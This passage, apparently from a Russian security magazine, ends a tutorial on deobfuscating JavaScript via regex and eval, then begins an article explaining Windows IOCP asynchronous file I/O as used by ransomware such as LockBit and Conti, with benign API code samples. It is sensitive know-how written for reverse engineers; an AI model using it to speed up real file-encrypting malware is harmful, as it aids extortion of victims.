         _0x4072cc = _0x1214fd[_0x3aa59b];
        return _0x4072cc;

     }, _0x3a86(_0x37610f, _0x5cbb3a);
}

     
      

function _0x340121(_0x5ae465, _0x101079, _0x1d662f, _0x55f16c,
_0x4029db, _0x3a7a06, _0x1d53e1, _0x5b0eb3, _0x4c47fe, _0x445726) {
       return _0x3a86(_0x5ae465 - -0x26c, _0x5b0eb3);
}

     
      

function _0x1e0595(_0x4bc581, _0x4ecbba, _0x1d5a39, _0x50dcae,
_0x403da8, _0x4ad34e, _0x2b446e, _0x3b51da, _0x44854e, _0x1491c6) {
            

           
        

return _0x340121(_0x1491c6 - 0x5ff, _0x4ecbba - 0xb8, _0x1d5a39 -
0xb2, _0x50dcae - 0x81, _0x403da8 - 0x80, _0x4ad34e - 0x1b, _0x2b446e
- 0x99, _0x44854e, _0x44854e - 0x72, _0x1491c6 - 0x10f);
}

В даль нейшем нам пред сто ит авто мати зиро вать поис ки кода для каж дой ана- 
логич ной фун кции (хоть их и мно го, но они одно тип ные). А пока что мы прос то
попыта емся убе дить ся, что всё сде лали пра виль но. Жмем в бра узе ре
F12 и встав ляем най ден ный фраг мент кода в кон соль, про буя вычис лить
выраже ние 

.

_0x1e0595(0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992, 
0x665, 0xf98, 0x185b, 0x1073)

В этот момент мы убеж даем ся, что воз вра щаемая стро ка не , а, наобо-

рот, , хотя стро ка  в исходном мас сиве тоже при сутс тву ет. Зна чит, мы
где-то обла жались в рас четах или авто ры обфуска тора нас хит ро обду рили,
хотя счастье было так близ ко...

log
awal log

Пос мотрим на код более вни матель но. Вер хний фраг мент кода, начиная
с ком мента рия IT IS NOT SAFE TO MAKE CHANGES IN THE CODE BELOW, хит- 
ро переме шива ет мас сив стро ковых кон стант  пос ле его ини- 

циали зации.

_0x552e21

За нят но, что в усло вии  мы обна ружи ваем зна комую нам по 
конс трук цию . При вни матель ном рас смот рении отме чаем, что

такие кон стан ты вмес те с обратным вари антом  щед ро рас- 

киданы по обфусци рован ному коду. Дела ем себе замет ку на будущее
поменять их в коде гло баль ной заменой, пос ле чего встав ляем фраг мент,
показан ный на пре дыду щем скрин шоте, в начало нашего «ядер ного кода»
и сно ва дела ем тест. На этот раз все схо дит ся, резуль тат пра виль ный:

.

while JSFuck
(!![])==true

(![])==false

_0x1e0595(0x4f3, 0x854, 0x1210, 0x19e1, 0x3ca, 0x992, 0x665, 
0xf98, 0x185b, 0x1073) == "log"

На этом инте рес ная и увле катель ная иссле дова тель ская часть закан чива- 
ется и начина ется кодинг, хоть и нес ложный, но доволь но рутин ный.

ÏÈØÅÌ ÄÅÎÁÔÓÑÊÀÒÎÐ

План пос тро ения деоб фуска тора у нас будет сле дующий.
По обра зу и подобию опи сан ного выше про цес са пре пари рова ния фун- 

кции  пол ностью фор миру ем «ядро» фун кций, которые будут
декоди ровать стро ковые кон стан ты. Для это го ищем все фун кции, соот ветс- 
тву ющие вот такому шаб лону:

_0x1e0595

     
      

function _0x??????(_0x??????, _0x??????, _0x??????, _0x??????, _0x
??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????) {

         return _0x3a86(??????, ??????);
   }

При мер ная реали зация это го дей ствия через регуляр ные выраже ния
на JavaScript выг лядит так:

...
   var reg = /function (_0x[a-f0-9]*)\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[

a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[
a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\)\{return _0x3a86\([^)]*\);\}/g;

    var functions = [], found,names=[];
   while (found = reg.exec(string)) {

   functions.push(found[0]);
   names.push(found[1]);
}
...

Здесь  — исходный код, на выходе получа ем  — мас сив

кода фун кций, которые надо добавить к «ядер ному» коду и одновре мен но
убрать из кода исходно го;  — спи сок имен этих фун кций.

string functions

names
Ищем фун кции вида

     
      

function _0x??????(_0x??????, _0x??????, _0x??????, _0x??????, _0x
??????, _0x??????, _0x??????, _0x??????, _0x??????, _0x??????) {

    
  

       return <Name1>(??????, ??????,??????, ??????,??????, ??????,
??????, ??????,??????, ??????);
   }

Здесь  — имя фун кции, из спис ка , получен ного в пун кте 1. Код

выг лядит сле дующим обра зом:

Name1 names

   var reg = /function (_0x[a-f0-9]*)\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[
a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[
a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\)\{return _0x3a86\([^)]*\);\}/g;

    var functions = [], found,names=[];
   while (found = reg.exec(string)) {

   functions.push(found[0]);
   names.push(found[1]);
}

    var functions1 = [], names1=[];
 for (var i=0;i<names.length;i++)

{
       

 

var reg1 = new RegExp("function (_0x[a-f0-9]*)\\(_0x[a-f0-9]*,
_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[
a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\\)\\{return "+names[i
]+"\\([^)]*\\);\\}", "g");
      while (found = reg1.exec(string)) {
      functions1.push(found[0]);
      names1.push(found[1]);
    }
}

По луча ем новый спи сок фун кций  и их имен , которые тоже

добав ляем в ядро и уби раем из исходно го кода.

functions1 names1

Пов торя ем поиск фун кции, каж дый раз под став ляя вмес то спис ка 

получен ный на пре дыду щем эта пе спи сок  до тех пор, пока на оче ред- 

ном шаге спи сок не опус теет. Ито говый код выг лядит при мер но так:

names
names1

   var reg = /function (_0x[a-f0-9]*)\(_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[
a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[
a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\)\{return _0x3a86\([^)]*\);\}/g;

    var functions = [], found,names=[];
   while (found = reg.exec(string)) {

   functions.push(found[0]);
   names.push(found[1]);
}

 var names2=names.slice();

while (true)
{
     var functions1 = [], names1=[];
  for (var i=0;i<names2.length;i++)
{
       

 

var reg1 = new RegExp("function (_0x[a-f0-9]*)\\(_0x[a-f0-9]*,
_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[
a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*,_0x[a-f0-9]*\\)\\{return "+names2[
i]+"\\([^)]*\\);\\}", "g");
      while (found = reg1.exec(string)) {
      functions1.push(found[0]);
      names1.push(found[1]);
       functions.push(found[0]);
       names.push(found[1]);

    }
 }
  if (names1.length==0) break;
 names2=names1.slice();
}

На выходе  — это все парази тичес кие фун кции, сге нери рован ные

обфуска тором, а  — их име на.

functions
names

Те перь, ког да «ядро» сфор мирова но, мы прос то переби раем все исчисля- 
емые выраже ния вида

<Name1>(??????,??????,??????,??????,??????,??????,??????,??????,
??????,??????)

 — имя фун кции из получен ного на пре дыду щих шагах спис ка . Их
мы вычис ляем при помощи вот такого кода:
Name1 names

 var expressions=[];
 var values=[];

 for (var i=0;i<names.length;i++)
{
       

 
var reg1 = new RegExp(names[i]+"\\([^)]*,[^)]*,[^)]*,[^)]*,[^)]

*,[^)]*[^)]*,[^)]*,[^)]*,[^)]*\\)", "g");
      while (found = reg1.exec(string)) {

       var test=found[0];
       var value=undefined;

      try
      {
        value=eval(test);
        expressions.push(found[0]);
        values.push(value);

         } catch (err) {}
      }

 }

На выходе мы получа ем мас сив , в котором содер жатся исчисля- 
емые выраже ния вида 

 и соот ветс тву ющие им

кон стан ты. Нам оста ется прос то заменить в обфусци рован ном коде пер вые
вто рыми обыч ной гло баль ной заменой.

expressions
_0x4a0111(0xa0c, 0xc0b, 0x13ef, 0x1e3e, 

0x15e2, 0x1a29, 0x1b08, 0x94b, 0x968, 0x753)

В ито ге мы получа ем час тично деоб фусци рован ный код, в котором хотя бы
стро ковые кон стан ты и име на стан дар тных методов будут пред став лены
в явном виде. Этот код уже впол не мож но ана лизи ровать, пра вить, мож но
кор мить им по час тям дру гие деоб фуска торы для при веде ния в пол ностью
чита емый вид.

Ра зуме ется, это далеко не пол ная деоб фуска ция исходно го при ложе ния.
В стрем лении к совер шенс тву мож но свер нуть выраже ния вида 

 в . Вот чуть более прод винутый вари ант

кода в :

Class[
"MethodName"] Class.MethodName

Object.MethodName

   const _0x17ef7d = {};
_0x17ef7d[MethodName]

На пос ледок мож но выпол нить нес коль ко сло вар ных пре обра зова ний сле- 
дующе го вида:

   const _0x45618a = {
              'aJqDi': function(_0x2b031d, _0x1fc5a3) {
                return _0x2b031d(_0x1fc5a3);

           },
              'FDTmk': function(_0x542b4c, _0x55bd01) {
                return _0x542b4c(_0x55bd01);

           },
           ...

В ито ге мы получим близ кий к читабель ному код, в котором толь ко исходные
име на перемен ных и фун кций будут без воз врат но потеря ны.

ÂÛÂÎÄÛ

По сво ей любимой при выч ке я слег ка слу кавил и опи сал все го лишь самый
прос той и быс трый спо соб час тичной деоб фуска ции JavaScript-кода.
Для написа ния серь езно го пол ного деоб фуска тора прос тым поис- 
ком-заменой регуляр ных выраже ний, разуме ется, не обой тись. Для это го
по-хороше му надо писать свой собс твен ный эму лятор JavaScript-машины,
как, нап ример, это реали зова но в упо мяну том мною деоб фуска торе

. Воз можно, я ког да-нибудь рас ска жу об этом под робнее, а пока
инте ресу ющиеся и нетер пеливые могут самос тоятель но покопать ся
в исходном коде это го про екта.
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КОДИНГ

Что самое глав ное в любом вирусе-шиф- 
роваль щике? Конеч но же, его ско рость!
Наибо лее эффектив ных показа телей воз- 
можно дос тичь с помощью механиз ма IOCP,
и его исполь зуют все популяр ные локеры:
LockBit, Conti, Babuk. Давай пос мотрим,
как работа ет этот механизм, что бы узнать,
как дей ству ют вирусо писа тели. Эти зна ния
при годят ся нам при ревер се.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих рас сле дова ние инци ден тов
и обратную раз работ ку вре донос ного ПО. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Рас простра нение вре донос ных
прог рамм, наруше ние работы сис тем и наруше- 
ние тай ны перепис ки прес леду ются по закону.

ÑÈÍÕÐÎÍÍÛÉ È ÀÑÈÍÕÐÎÍÍÛÉ ÂÂÎÄ-ÂÛÂÎÄ

Windows под держи вает два спо соба работы с фай лами: син хрон ный и асин- 
хрон ный.

Под син хрон ным спо собом вво да-вывода понима ются стан дар тные фун- 
кции  и  и иные, отличные от WinAPI, которые дол го,

нуд но и пос тепен но чита ют дан ные из фай ла. Единс твен ная их осо бен- 
ность — поток прос таивает до тех пор, пока опе рация не будет завер шена.
Выз вал  для чте ния 10 Гбайт, и сиди жди, пока файл счи тает ся.

К такому же поведе нию мож но отнести фун кции из . Само
собой, есть вари ант счи тыва ния фай ла пос троч но, но вре мен ные показа тели
не осо бен но изме нят ся. Не исклю чено, что даже уве личат ся.

ReadFile() WriteFile()

ReadFile()
std::ifstream

Ес ли шиф роваль щик будет таким обра зом переби рать все фай лы в сис- 
теме, то его эффектив ность ока жет ся невысо кой. Све жеус танов ленная вин да
занима ет око ло 50 Гбайт, а со всем соф том на дис ке в сред нем будет занято
в рай оне 300 Гбайт. Если поль зователь скло нен к накопи тель ству, то в нес-
коль ко раз боль ше.

Ко неч но, зло умыш ленни ки могут при менить лай фха ки и шиф ровать
не любые фай лы, а толь ко докумен ты или толь ко час ти фай лов, но все рав но
при син хрон ном вво де-выводе ско рость будет низ кой.

Замеряем скорость чтения
Я наб росал неболь шую прог рам мку, которая поможет тебе изме рять ско- 
рость чте ния фай лов. Ее пол ный код — ниже.

 #include <iostream>
 #include <fstream>
 #include <vector>
 #include <chrono>

  int main() {
     std::string filename = "D:\\ISO\\debian-11.7.0-amd64-netinst.iso";
    std::ifstream file(filename, std::ios::binary);

    if (!file.is_open()) {
          std::cerr << "Can't open file: " << filename << std::endl;
     return 1;
  }
   file.seekg(0, std::ios::end);
     std::streampos fileSize = file.tellg();
   file.seekg(0, std::ios::beg);
   std::vector<char> buffer(fileSize);
     auto start = std::chrono::high_resolution_clock::now();
   file.read(buffer.data(), buffer.size());
     auto end = std::chrono::high_resolution_clock::now();
       std::chrono::duration<double> duration = end - start;
  file.close();
    if (!file) {
        std::cerr << "Reading error" << std::endl;
     return 1;
  }
          std::cout << "Elapsed time: " << duration.count() << " sec." <<
std::endl;
               for (size_t i = 0; i < 10 && i < buffer.size(); ++i) {
            std::cout << std::hex << static_cast<int>(buffer[i] & 0xff) <<
" ";
  }
      std::cout << std::dec << std::endl;
   return 0;
}

Ав торы вирусов-шиф роваль щиков все чаще обра щают ся к асин хрон ному
вво ду-выводу. Для это го обыч но исполь зуют ся фун кции 

и . Да, то же в теории мож но делать и с обыч ными 
и , но поль зовать ся рас ширен ными фун кци ями удоб нее.

При вызове этих фун кций со спе циаль ными парамет рами они сра зу же вер нут
поток управле ния, и прог рамма не будет прос таивать. Выз вал 
для фай ла раз мером 10 Гбайт, и про дол жай работу потока. Как толь ко файл
счи тал ся, получишь уве дом ление.

ReadFileEx()
WriteFileEx() ReadFile()
WriteFile()

ReadFileEx()

Сам асин хрон ный ввод-вывод делит ся на нес коль ко под видов:
 — вари ант для кон серва торов. Никакой асин хрон- 

щины тут на самом деле нет: раз работ чик соз дает мно жес тво потоков
в прог рамме, каж дый из которых син хрон но счи тыва ет или записы вает
дан ные. Пред ставь, что есть десять фай лов по 10 Гбайт, вмес то счи тыва- 
ния их в одном потоке ты счи тыва ешь их в десяти парал лель ных потоках,
что уско ряет вре мя опе рации в десять раз;

• Multithreaded I/O

 — асин хрон щина в чис том ее виде. При чте нии и записи
поток не ждет завер шения опе рации, а про дол жает свою работу. Поток
может при оста новить ся по собс твен ному желанию толь ко тог да, ког да ему
пот ребу ется резуль тат опе рации вво да-вывода. Реали зует ся такой метод
с помощью спе циаль ной струк туры , отсю да и наз вание;

• Overlapped I/O

OVERLAPPED

 (extended I/O) — отли чает ся от 

 тем, что при завер шении вво да-вывода сис тема вызовет спе циаль ную
callback-фун кцию. Чаще все го реали зует ся через APC (asynchronous
procedure calls) либо IOCP (input-output completion port). О вто ром вари- 
анте мы и будем говорить.

• Completion Routines I/O Overlapped 

I/O

×ÒÎ ÑËÅÄÓÅÒ Ó×ÈÒÛÂÀÒÜ ÏÐÈ ÐÀÁÎÒÅ Ñ ÀÑÈÍÕÐÎÍÍÛÌ I/O

Сто ит пом нить, что асин хрон ные опе рации сра зу же воз вра щают поток
управле ния, а счи тыва ние (нап ример, при вызове ) про исхо дит

в фоновом режиме. Как следс твие, нель зя:

ReadFileEx()

от талки вать ся от воз вра щаемо го фун кци ей зна чения до завер шения асин- 
хрон ной опе рации;

•

ис поль зовать количес тво передан ных бай тов или дан ные из струк туры
 в качес тве кри терия про вер ки до завер шения асин хрон ной

опе рации;

•
OVERLAPPED

пов торно исполь зовать дан ные из струк туры  до завер шения
асин хрон ной опе рации.

• OVERLAPPED

ÑÒÐÓÊÒÓÐÀ OVERLAPPED

Зап рос на асин хрон ный ввод-вывод так или ина че пред полага ет, что будет
исполь зовать ся вот эта струк тура.

   typedef struct _OVERLAPPED {
  ULONG_PTR Internal;
  ULONG_PTR InternalHigh;
  union {
    struct {

      DWORD Offset;
      DWORD OffsetHigh;

   };
    PVOID Pointer;
   };
  HANDLE hEvent;
  } OVERLAPPED, *LPOVERLAPPED;

,  — не тро гаем, это поле хра нит инфу для сис- 
темы. Обыч но там лежит зна чение , если файл еще чита- 
ется;

• Internal InternalHigh

STATUS_PENDING

,  — сме щения, ука зыва ющие, с какого мес та дол жна
начинать ся асин хрон ная опе рация (  — аль тер натива этим полям.
Осо бен но удоб но исполь зовать, если тре бует ся 64-бит ное сме щение);

• Offset OffsetHigh

Pointer

 — хендл события, которое перехо дит в сво бод ное (сиг наль ное)
сос тояние пос ле завер шения асин хрон ной опе рации. Поэто му завер- 
шение асин хрон ной опе рации мож но отсле живать, нап ример с помощью

.

• hEvent

WaitForSingeObjectEx()

При асин хрон ных опе раци ях имен но в этой струк туре уста нав лива ется фай- 
ловый ука затель. Допус тим, если бы мы хотели про читать толь ко вто рую
полови ну фай ла, то сде лали бы так.

 OVERLAPPED ovlp;
...
// Установка позиции начала чтения в файле
ovlp.Offset=N*2;

      ReadFile(hFile, pBuffer, N * 2, &dwCount, &ovlp);

Как видишь, струк тура переда ется в вызовах  и .
Глав ное — не забыть при получе нии хен дла фай ла, нап ример с помощью
вызова  (который всег да син хрон ный), уста новить флаг

. В резуль тате файл откры вает ся в асин хрон ном
режиме.

ReadFile() WriteFile()

CreateFile()
FILE_FLAG_OVERLAPPED

// Открытие файла
     hFile = CreateFile(szFileName, GENERIC_READ, 0, NULL,

 // Асинхронные операции
  OPEN_EXISTING, FILE_FLAG_OVERLAPPED,
          NULL);

Сто ит отме тить некото рые осо бен ности:
эк зем пляр этой струк туры дол жен сох ранять ся до тех пор, пока работа ет
асин хрон ная опе рация;

•

со бытие смо жет кто угод но помес тить в сиг наль ное сос тояние. То есть
тебя могут неволь но обма нуть, слу чай но ска зав, что опе рация завер- 
шилась, поэто му будь осто рожен.

•

По мимо это го, фун кции  и  в асин хрон ном режиме

работы всег да воз вра щают , что нор маль но. Что бы понять, успешно ли
началась асин хрон ная опе рация, нуж но дер нуть . Если эта

фун кция отда ет , то все отлично, асин хрон ная опе рация

началась.

ReadFile() WriteFile()
FALSE

GetLastError()
ERROR_IO_PENDING

Еще у этих фун кций есть параметр , который воз вра щает количес тво

про читан ных дан ных. При асин хрон ной опе рации этот параметр не име ет
зна чения, так как опе рация не завер шена. Луч ше ука зать  для это го аргу- 
мен та. Вот при мер кода, который откры вает файл, асин хрон но счи тыва ет
дан ные, а затем ожи дает завер шения опе рации.

bytes

NULL

      
    

HANDLE hFile = ::CreateFile(L"c:\\temp\\mydata.txt", GENERIC_READ,
FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_FLAG_OVERLAPPED,
nullptr);

    if (hFile != INVALID_HANDLE_VALUE) {
      OVERLAPPED ov = { 0 };
      ov.hEvent = ::CreateEvent(nullptr, TRUE, FALSE, nullptr);
     BYTE buffer[1 << 12]; // 4 KB
        BOOL ok = ::ReadFile(hFile, buffer, sizeof(buffer), nullptr, &ov);
  if(!ok) {
       if (::GetLastError() != ERROR_IO_PENDING) {
   // Произошла ошибка
   return;
 }
  else {
   // Поток здесь может делать еще что-нибудь
   // Do();
   // Поток сделал все, что мог, теперь нужно данные получить из 
асинхронной операции

   // Синхронизация по событию
    ::WaitForSingleObject(ov.hEvent, INFINITE);
   ::CloseHandle(ov.hEvent);
 }
}
// Здесь можно работать с данными
::CloseHandle(hFile);

Пос ле завер шения асин хрон ной опе рации обыч но обра щают ся к фун кции
 для получе ния дан ных.GetOverlappedResult()

 BOOL GetOverlappedResult(
  _In_ HANDLE hFile,
  _In_ LPOVERLAPPED lpOverlapped,
  _Out_ LPDWORD lpNumberOfBytesTransferred,

  _In_ BOOL bWait);

 — хендл фай ла, над которым была про веде на асин хрон ная опе- 
рация;

• hFile

 — струк тура , исполь зуемая во вре мя асин-
хрон ной опе рации;

• lpOverlapped OVERLAPPED

 — количес тво бай тов, передан ных/про- 
читан ных во вре мя асин хрон ной опе рации;

• lpNumberOfBytesTransferred

 — если ука зано , а так же параметр  струк туры
 равен , то фун кция не вер нет управле ние

до тех пор, пока не будет завер шена асин хрон ная опе рация. Если ука зать
, а асин хрон ная опе рация еще выпол няет ся, то фун кция вер нет
, а  — зна чение . Если

асин хрон ная опе рация завер шена, то этот параметр не име ет зна чения.

• bWait TRUE Internal

OVERLAPPED STATUS_PENDING

FALSE

FALSE GetLastError() ERROR_IO_INCOMPLETE

Фун кция воз вра щает  пос ле завер шения опе рации асин хрон ного I/O.

Если фун кция вер нула , зна чит, что-то пош ло не так, лови с помощью
.

TRUE
FALSE

GetLastError()
По мимо это го, у нас есть воз можность отме нить асин хрон ную опе рацию

с помощью .CancelIo()

  BOOL WINAPI CancelIo(
   _In_ HANDLE hFile
);

 — дес крип тор фай ла, в который про изво дит ся перек рыва ющий
ввод-вывод.

• hFile

С помощью этой фун кции мы смо жем отме нить опе рацию асин хрон ного вво- 
да-вывода толь ко текуще го потока. Если поп робу ем передать в нее асин- 
хрон ные фун кции дру гих потоков, то ничего не про изой дет.

От менен ные опе рации завер шают ся с ошиб кой
.ERROR_OPERATION_ABORTED

IOCP

Пред ставь, что у нас теперь не один файл, а мил лион. В нашей прог рамме
совер шает ся мно жес тво опе раций вво да-вывода, и, как следс твие, исполь- 
зовать при меры кода выше будет не очень удоб но. Поэто му раз работ чики
Windows соз дали IOCP.

IOCP — это механизм, который исполь зует ся для опо веще ния о завер- 
шении асин хрон ных опе раций и поз воля ет одно му или нес коль ким потокам
обра баты вать резуль таты этих опе раций. То есть к IOCP цеп ляют ся вся кие
объ екты и этот IOCP получа ет уве дом ления о том, что такая-то асин хрон ная
опе рация завер шилась. Пос ле это го встро енный пул потоков в IOCP может
обра ботать резуль тат этих опе раций.

В IOCP есть такой тер мин — порт. Порт пред став ляет собой оче редь
в ядре. Оче редь запол няет ся запися ми, ког да завер шает ся асин хрон ная опе- 
рация. К это му пор ту при вяза но опре делен ное количес тво потоков, которые
начина ют обра баты вать оче редь. Раз работ чик может регули ровать количес- 
тво потоков.

Вот для наг ляднос ти кар тинка со .Stack Overow

Схе ма работы IOCP

Здесь
 — пос тупа ющие дан ные о завер шении работы

асин хрон ной опе рации. Так же иног да называ ется I/O completion request;

• completion notifications

 — мес то, куда попада ют дан ные;• completion port

 — потоки, которые находят ся в «спя щем» сос тоянии.

У них еще нет работы, нап ример ког да оче редь пус тая;

• queued thread

 — поток, получив ший задачу из completion port.• worker thread

IOCP ÊÀÊ Î×ÅÐÅÄÜ Â ÁÎËÜÍÈÖÓ

Ес ли по-преж нему не очень понят но, то пред ставь боль ницу с кучей пен- 
сионе рок. Но при ходят они не сра зу, а вре мя от вре мени. Боль ница —
completion port, бабуш ки — резуль таты асин хрон ных опе раций, сво бод ные
вра чи — queued thread, вра чи, уже работа ющие с паци ента ми, — worker
thread.

Нас тупило утро, приш ли вра чи, откры лась боль ница (фун кция
), бабушек нет, вра чи в queued thread. Потом

при ехал пер вый авто бус и выг рузил тол пу бабушек (либо авто мати чес ки,
либо через ). Вра чи сра зу же рас хва тали паци- 

енток ( ) и прев ратились в worker thread.

CreateIOCompletionPort()

PostQueuedCompletionPort()
GetQueuedCompletionStatus()

Сле дом при езжа ет мар шрут ка, и вновь пен сионер ки заходят в боль ницу.
Но все вра чи заняты, поэто му ста руш ки покор но ждут, ког да какой-нибудь
врач осво бодит ся, то есть worker thread завер шит работу и перей дет в сос- 
тояние queued thread, а из сос тояния queued thread мож но брать новую
бабуш ку.

И такой цикл будет пов торять ся до тех пор, пока резуль таты всех асин- 
хрон ных опе раций, пос тупив ших в пул потоков, не будут завер шены. То есть
все бабуш ки будут снаб жены диаг нозами и пред писани ями и отправ лены
по домам.

По мимо это го, паци енток дав ным-дав но при вяза ли к этой кон крет ной
боль нице. Поэто му сре ди оби лия работа ющих IOCP-пор тов бабуш ки будут
при ходить имен но к нашему.

Даль ше я пос тара юсь по воз можнос ти пояс нять, где бабуш ки, а где боль- 
ница, что бы было понят нее.

ÑÎÇÄÀÍÈÅ IOCP È ÑÂßÇÛÂÀÍÈÅ Ñ ÏÎÒÎÊÀÌÈ, ÄÅÑÊÐÈÏÒÎÐÀÌÈ

CreateIoCompletionPort()
С помощью этой фун кции мож но соз дать IOCP. При чем с помощью этой же
фун кции мож но при соеди нить к IOCP какой-нибудь хендл.

 HANDLE CreateIoCompletionPort(
  HANDLE FileHandle,
  HANDLE ExistingCompletionPort,
  DWORD CompletionKey,
  DWORD NumberOfConcurrentThreads
);

Здесь
 — OVERLAPPED-дес крип тор, при соеди няемый к пор ту IOCP

(допус тим, пайп с  или сокет, соз данный обыч- 
ной фун кци ей ). Если задать ,
то фун кция прос то соз даст новый порт IOCP и вер нет его дес крип тор,
в этом слу чае  дол жен быть равен ;

• FileHandle

FILE_FLAG_OVERLAPPED

socket() INVALID_DESCRIPTOR_HANDLE

ExistingCompletionPort NULL

 — исполь зует ся для добав ления хен дла
в порт. То есть в нашей ана логии — что бы при вязать бабуш ку к кон крет ной
боль нице. В этом парамет ре ука зыва ется боль ница, к которой при вязать
бабуш ку из ;

• ExistingCompletionPort

FileHandle

 — спе циаль ное зна чение, называ емое клю чом. Это ука- 
затель на любые дан ные, которые мы сами опре дели ли. Исполь зует ся
в основном для того, что бы внут ри потока, который начал обра баты вать
запись из IOCP, мы мог ли отли чить одну опе рацию от дру гой. Или, нап- 
ример, одну бабуш ку от дру гой. Обыч но в качес тве клю ча исполь зует ся
ука затель на струк туру дан ных, которая содер жит тип опе рации, дес крип- 
тор и буфер дан ных. Буфер дан ных — что угод но. Но в минималь ном виде
мож но исполь зовать и прос то один байт, который будет показы вать, что
за асин хрон ная опе рация слу чилась (чте ние, запись или что-то дру гое).
Этот буфер дан ных мож но получить через

, он будет лежать в парамет ре
;

• CompletionKey

GetQueuedCompletionStatus()

lpCompletionKey

 — пре дель но допус тимое количес тво
потоков, которым раз решено парал лель ное выпол нение. Если этот
параметр равен нулю, то в качес тве пре дела исполь зует ся количес тво
про цес соров, уста нов ленных в сис теме. В слу чае если мы добав ляем
в IOCP какой-то дес крип тор, это поле игно риру ется.

• NumberOfConcurrentThreads

Итак, сна чала сле дует соз дать сам IOCP-порт, то есть боль ницу. Дела ется
вот так:

 HANDLE iocp=CreateIoCompletionPort(INVALID_HANDLE_VALUE,0,0,0);

Сле дующий шаг — соз дание потоков для пула потоков, то есть соз дание вра- 
чей. Сколь ко делать — реша ет прог раммист, все зависит от задачи и пот- 
ребнос тей (количес тва бабушек). Обыч но чис ло про цес соров на сис теме
рав но чис лу потоков в пуле. Но это зна чение мож но и менять.

  struct ThreadData {
  HANDLE hIOCP;
};

 ThreadData threadData;
    

 
threadData.hIOCP = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL,
0, iocpThreadCount);

    if (threadData.hIOCP == NULL) {
     

  
std::wcerr << L"CreateIoCompletionPort failed with error: " <<

GetLastError() << std::endl;
  return 1;
}

 HANDLE hThreads[iocpThreadCount];
         for (int i = 0; i < iocpThreadCount; ++i) {

        hThreads[i] = CreateThread(NULL, 0, WorkerThread, &threadData, 0,
NULL);
     if (hThreads[i] == NULL) {
       
  
std::wcerr << L"CreateThread failed with error: " << GetLastError

() << std::endl;
    return 1;
 }
}

Вот чуть более прос той при мер, без струк туры и мас сива.

 for(int i=1;i<=2;i++)
{
  HANDLE hWorking=CreateThread(0,0,(LPTHREAD_START_ROUTINE)&
WorkingThread,iocp,0,0);
 CloseHandle(hWorking);
}

Об рати вни мание, что мы здесь чет вертым парамет ром переда ем хендл
нашего IOCP, что бы свя зать кон крет ный поток с пулом потоков в IOCP. Этот
хендл понадо бит ся потокам, ког да они нач нут заяв лять о сво ей готов ности
начать работать. Этот хендл будет передан в фун кцию 

как  и в даль нейшем исполь зован в .

WorkingThread()
lParam GetQueuedCompletionStatus()
Пол ноцен ные при меры кода, где я про демонс три рую эту и сле дующие

фун кции, будут в кон це статьи.

ÏÐÈÑÎÅÄÈÍÅÍÈÅ ÏÎÒÎÊÀ Ê ÏÓËÓ ÏÎÒÎÊÎÂ

GetQueuedCompletionStatus()
Эта фун кция нуж на, что бы при соеди нить текущий поток (который ее вызыва- 
ет) к пулу потоков. Обыч но она вызыва ется из callback-фун кции потока.

 BOOL GetQueuedCompletionStatus(
  HANDLE CompletionPort,
  LPDWORD lpNumberOfBytes,
  PULONG_PTR lpCompletionKey,
  LPOVERLAPPED *lpOverlapped,
  DWORD dwMilliseconds);

Имен но на этой фун кции поток из пула потоков IOCP будет спать до тех пор,
пока не получит IRP-сооб щение. А пос ле получе ния прис тупит к обра бот ке
записи из оче реди IOCP.

Здесь
 — IOCP-порт, к пулу потоков которо го при соеди нять

поток;
• CompletionPort

 — ука затель на перемен ную, в которую запишет ся
количес тво передан ных бай тов в резуль тате завер шения асин хрон ной
опе рации. Эти дан ные запол няют ся авто мати чес ки и при сутс тву ют
в записи, которая добав ляет ся в оче редь IOCP. Если записей в оче реди
IOCP нет, то мы можем вруч ную добавить новую запись в IOCP через

;

• lpNumberOfBytes

PostQueuedCompletionStatus()

 — ключ завер шения. По нему, чис то теоре тичес ки,
мож но опре делять, что за файл завер шил работу, так как этот ключ ука- 
зыва ется для каж дого фай ла при вызове .
Эти дан ные запол няют ся авто мати чес ки и при сутс тву ют в записи, которая
добав ляет ся в оче редь IOCP. Если записей в IOCP-оче реди нет, то мы
можем вруч ную добавить новую запись в IOCP через

. При чем через этот параметр мож но
получать и кас томные струк туры. Нап ример, у нас есть сле дующая струк- 
тура, которую мы исполь зуем для получе ния информа ции о том, над каким
фай лом опе рация асин хрон ного чте ния завер шилась;

• lpCompletionKey

CreateIoCompletionPort()

PostQueuedCompletionStatus()

 — вре мя, на которое может уснуть поток в ожи дании
появ ления в оче реди IOCP какой-нибудь записи.  — бес конеч- 
но.

• dwMilliseconds

INFINITE

 struct IOData
{
  OVERLAPPED overlapped;
  HANDLE fileHandle;
      wchar_t buffer[dwReadBufferSize] = { 0 };
      wchar_t filePath[MAX_PATH] = { 0 };
  DWORD bytesRead;
};

Об рати вни мание, что пер вым парамет ром ука зыва ется сама струк тура
. Эти дан ные запол няют ся перед вызовом асин хрон ной опе рации

и перед тем, как фай ловый хендл будет свя зан с IOCP.

